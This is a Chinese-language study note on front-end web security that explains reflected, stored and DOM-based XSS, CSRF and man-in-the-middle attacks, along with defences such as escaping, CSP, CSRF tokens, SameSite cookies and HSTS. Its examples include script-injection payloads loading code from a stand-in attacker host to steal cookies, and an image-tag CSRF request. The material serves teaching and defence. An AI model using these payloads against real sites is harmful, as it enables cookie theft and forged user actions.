# XSS 跨站脚本攻击
# 攻击方式
攻击后攻击者可以获取页面的数据，如 DOM、cookie、localStorage；
DOS 攻击，发送合理请求，占用服务器资源，从而使用户无法访问服务器；
破坏页面结构；
流量劫持（将链接指向某网站）；
# 反射型（非持久型）
原理：攻击者通过在 URL 插入恶意代码，其他用户访问该恶意链接时，服务端在 URL 取出恶意代码后拼接至 HTML 中返回给用户浏览器。
攻击步骤：
- 通过 URL 插入恶意代码。
- ⽤户打开⽬标⽹站时，⽹站服务端将恶意代码从数据库取出，拼接在 HTML 中返回给浏览器
- 只要用户访问被注入恶意脚本的页面时，混在其中的恶意代码也被执⾏。
- 恶意代码窃取⽤户数据并发送到攻击者的⽹站，或者冒充⽤户的⾏为，调⽤⽬标⽹站接⼝执⾏攻击者指定的操作。
例子：攻击者诱导被害者打开链接 XXXX?name=<script src="http://a.com/attack.js"/> 。被攻击网站服务器收到请求后，未经处理直接将 URL 的 name 字段直接拼接至前端模板中，并返回数据。被害者在不知情的情况下，执行了攻击者注入的脚本（可以通过这个获取对方的 Cookie 等）。
# 存储型（持久型）
原理：攻击者将注入型脚本提交至被攻击网站数据库中，当其他用户浏览器请求数据时，注入脚本从服务器返回并执行。
攻击步骤：
与反射型一致，区别在于第一步是该恶意代码存储在数据库中，而反射型是在 URL 中
例子：
攻击者在目标网站留言板中提交了 <script src="http://a.com/attack.js"/> 。目标网站服务端未经转义存储了恶意代码，前端请求到数据后直接通过 innerHTML 渲染到页面中。其他用户在访问该留言板时，会自动执行攻击者注入脚本。
# DOM 型
原理：攻击者通过在 URL 插入恶意代码，客户端脚本取出 URL 中的恶意代码并执行。
攻击步骤：
与前两者类似，区别在于前两者执行恶意代码是在服务端完成，属于服务端漏洞，而 DOM 型是前端 JS 自身安全漏洞，在前端完成
例子：
攻击者诱导被害者打开链接 XXXX?name=<script src="http://a.com/attack.js"/> 。被攻击网站前端取出 URL 的 name 字段后未经转义直接通过 innerHTML 渲染到页面中。被害者在不知情的情况下，执行了攻击者注入的脚本。
# 防御
- 对于外部传入的内容进行充分转义。
- 开启 CSP（Content Security Policy，内容安全策略），规定客户端哪些外部资源可以加载和执行，降低 XSS 风险。(白名单), 通常有两种方式来开启 CSP，一种是设置 HTTP 首部中的 Content-Security-Policy，一种是设置 meta 标签的方式
- 设置 Cookie httpOnly 属性，禁止 JavaScript 读取 Cookie 防止被窃取。
# CSRF 跨站请求伪造
原理：攻击者诱导受害者进入第三方网站，在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的身份凭证，达到冒充用户对被攻击的网站执行某项操作的目的。CSRF 攻击的本质是利用 cookie 会在同源请求中携带发送给服务器的特点，以此来实现用户的冒充。
要点：
- 利用浏览器在发送 HTTP 请求时会自动带上 Cookie 的原理，冒用受害者身份请求。
- 攻击一般发生在第三方网站上。
- 攻击者只能 “冒用” 受害者的身份凭证，并不能获取。
- 跨站请求有多种方式，常见的有图片 URL (get)、Form 表单 (post) 提交、超链接等。
例子：
攻击者在第三方网站上放置一个 img<img src="http://XXXX/article/delete" />
受害者访问该页面后（前提：受害者在 hzfe.org 登录过且产生了 Cookie 信息），浏览器会自动发起这个请求，XXXX 就会收到包含受害者身份凭证的一次跨域请求。若目标网站没有任何防范措施，那攻击者就能冒充受害者完成这一次请求操作。
防范：
- 使用 CSRF Token 验证用户身份
原理：服务端生成 CSRF Token （通常存储在 Storage 中），用户提交请求时携带上 Token，服务端验证 Token 是否有效。
优点：能比较有效的防御 CSRF （前提是没有 XSS 漏洞泄露 Token）。
缺点：一般不会只有一台网站服务器，如果请求经过负载平衡转移到了其他的服务器，但是这个服务器的 session 中没有保留这个 token 的话，就没有办法验证了。这种情况可以通过改变 token 的构建方式来解决。 - 双重 Cookie 验证
原理：利用攻击者不能获取到 Cookie 的特点，服务器在用户访问网站页面时，向请求域名注入一个 Cookie，内容为随机字符串，然后当用户再次向服务器发送请求的时候，从 cookie 中取出这个字符串，添加到 URL 参数中，然后服务器通过对 cookie 中的数据和参数中的数据进行比较，来进行验证。并且这种方法比 CSRF Token 的方法更加方便，并且不涉及到分布式访问的问题。
缺点：这种方法的缺点是如果网站存在 XSS 漏洞的，那么这种方式会失效。同时这种方式不能做到子域名的隔离。 - 设置 Cookie 的 SameSite 属性可以用来限制第三方 Cookie 的使用，可选值有 Strict、Lax、None。
Strict：完全禁止第三方 Cookie。
Lax：只允许链接、预加载请求和 GET 表单的场景下发送第三方 Cookie。
None：关闭 SameSite 属性。 - 设置白名单，仅允许安全域名请求 (同源检测),
原理:http 请求头中 origin 或者 referer 信息来判断请求是否为允许访问的站点，从而对请求进行过滤
缺点：有些情况下 referer 可以被伪造，同时还会把搜索引擎的链接也给屏蔽了，所以一般网站会允许搜索引擎的页面请求，但是相应的页面请求这种请求方式也可能被攻击者给利用 - 增加验证码验证
# 中间人攻击
原理：中间人攻击是一种通过各种技术手段入侵两台设备通信的网络攻击方法。
攻击步骤
# 拦截
攻击者需要用户数据在到达目标设备前拦截并通过攻击者的网络。分为被动攻击和主动攻击。
常见的被动攻击（也是最简单）的方法，攻击者向公众提供免费的恶意 WiFi 热点，一旦有受害者连接了该热点，攻击者就能完全了解其所有的在线数据交换。
常见的主动攻击有两种：
ARP 欺骗： 攻击者利用 ARP 的漏洞，通过冒充网关或其他主机，使得到达网关或其他主机的流量通过攻击者主机进行转发。
DNS 欺骗： 攻击者冒充域名服务器，将受害者查询的 IP 地址转发到攻击者的 IP 地址。
# 拦截后
若连接是使用 HTTPS 协议即传递的数据用了 SSL / TLS 加密，这时还需要其他手段去解密用户数据。
SSL 劫持（伪造证书）
攻击者在 TLS 握手期间拦截到服务器返回的公钥后，将服务器的公钥替换成自己的公钥并返回给客户端，这样攻击者就能用自己的私钥去解密用户数据，也可以用服务器公钥解密服务器数据。
具体实现如下 (https 握手)
- 服务器向客户端发送公钥
- 中间⼈截获公钥，保留在⾃⼰⼿上。然后⾃⼰⽣成⼀个伪造的公钥，发给客户端
- 客户端收到伪造的公钥后，⽣成加密 hash 值发给服务器
- 中间⼈获得加密 hash 值，⽤⾃⼰的私钥解密获得真秘钥，同时⽣成假的加密 hash 值，发给服务器
- 服务器⽤私钥解密获得假密钥，然后加密数据传输给客户端
简单来说，就是伪造握手之后的会话密钥，但因为是伪造的证书，所以客户端在校验证书过程中会提示证书错误，若用户仍选择继续操作，此时中间人便能获取与服务端的通信数据。
SSL 剥离
攻击者拦截到用户到服务器的请求后，攻击者继续和服务器保持 HTTPS 连接，并与用户降级为不安全的 HTTP 连接。
服务器可以通过开启 HSTS（HTTP Strict Transport Security）策略，告知浏览器必须使用 HTTPS 连接。但是有个缺点是用户首次访问时因还未收到 HSTS 响应头而不受保护。
防范
对于开发者来说：
- 支持 HTTPS。
- 开启 HSTS 策略。
对于用户来说：
- 尽可能使用 HTTPS 链接。
- 避免连接不知名的 WiFi 热点。
- 不忽略不安全的浏览器通知。
- 公共网络不进行涉及敏感信息的交互。
- 用可信的第三方 CA 厂商，不下载来源不明的证书。
# 另外的一些前端安全问题
- 跨站脚本 (Cross-Site Scripting, XSS): ⼀种代码注⼊⽅式，为了与 CSS 区分所以被称作 XSS。早期常⻅于⽹络论坛，起因是⽹站没有对⽤户的输⼊进⾏严格的限制，使得攻击者可以将脚本上传到帖⼦让其他⼈浏览到有恶意脚本的⻚⾯，其注⼊⽅式很简单包括但不限于 JavaScript / CSS / Flash 等；
- iframe 的滥⽤: iframe 中的内容是由第三⽅来提供的，默认情况下他们不受控制，他们可以在 iframe 中运⾏ JavaScirpt 脚本、Flash 插件、弹出对话框等等，这可能会破坏前端⽤户体验；
- 恶意第三⽅库：⽆论是后端服务器应⽤还是前端应⽤开发，绝⼤多数时候都是在借助开发框架和各种类库进⾏快速开发，⼀旦第三⽅库被植⼊恶意代码很容易引起安全问题。
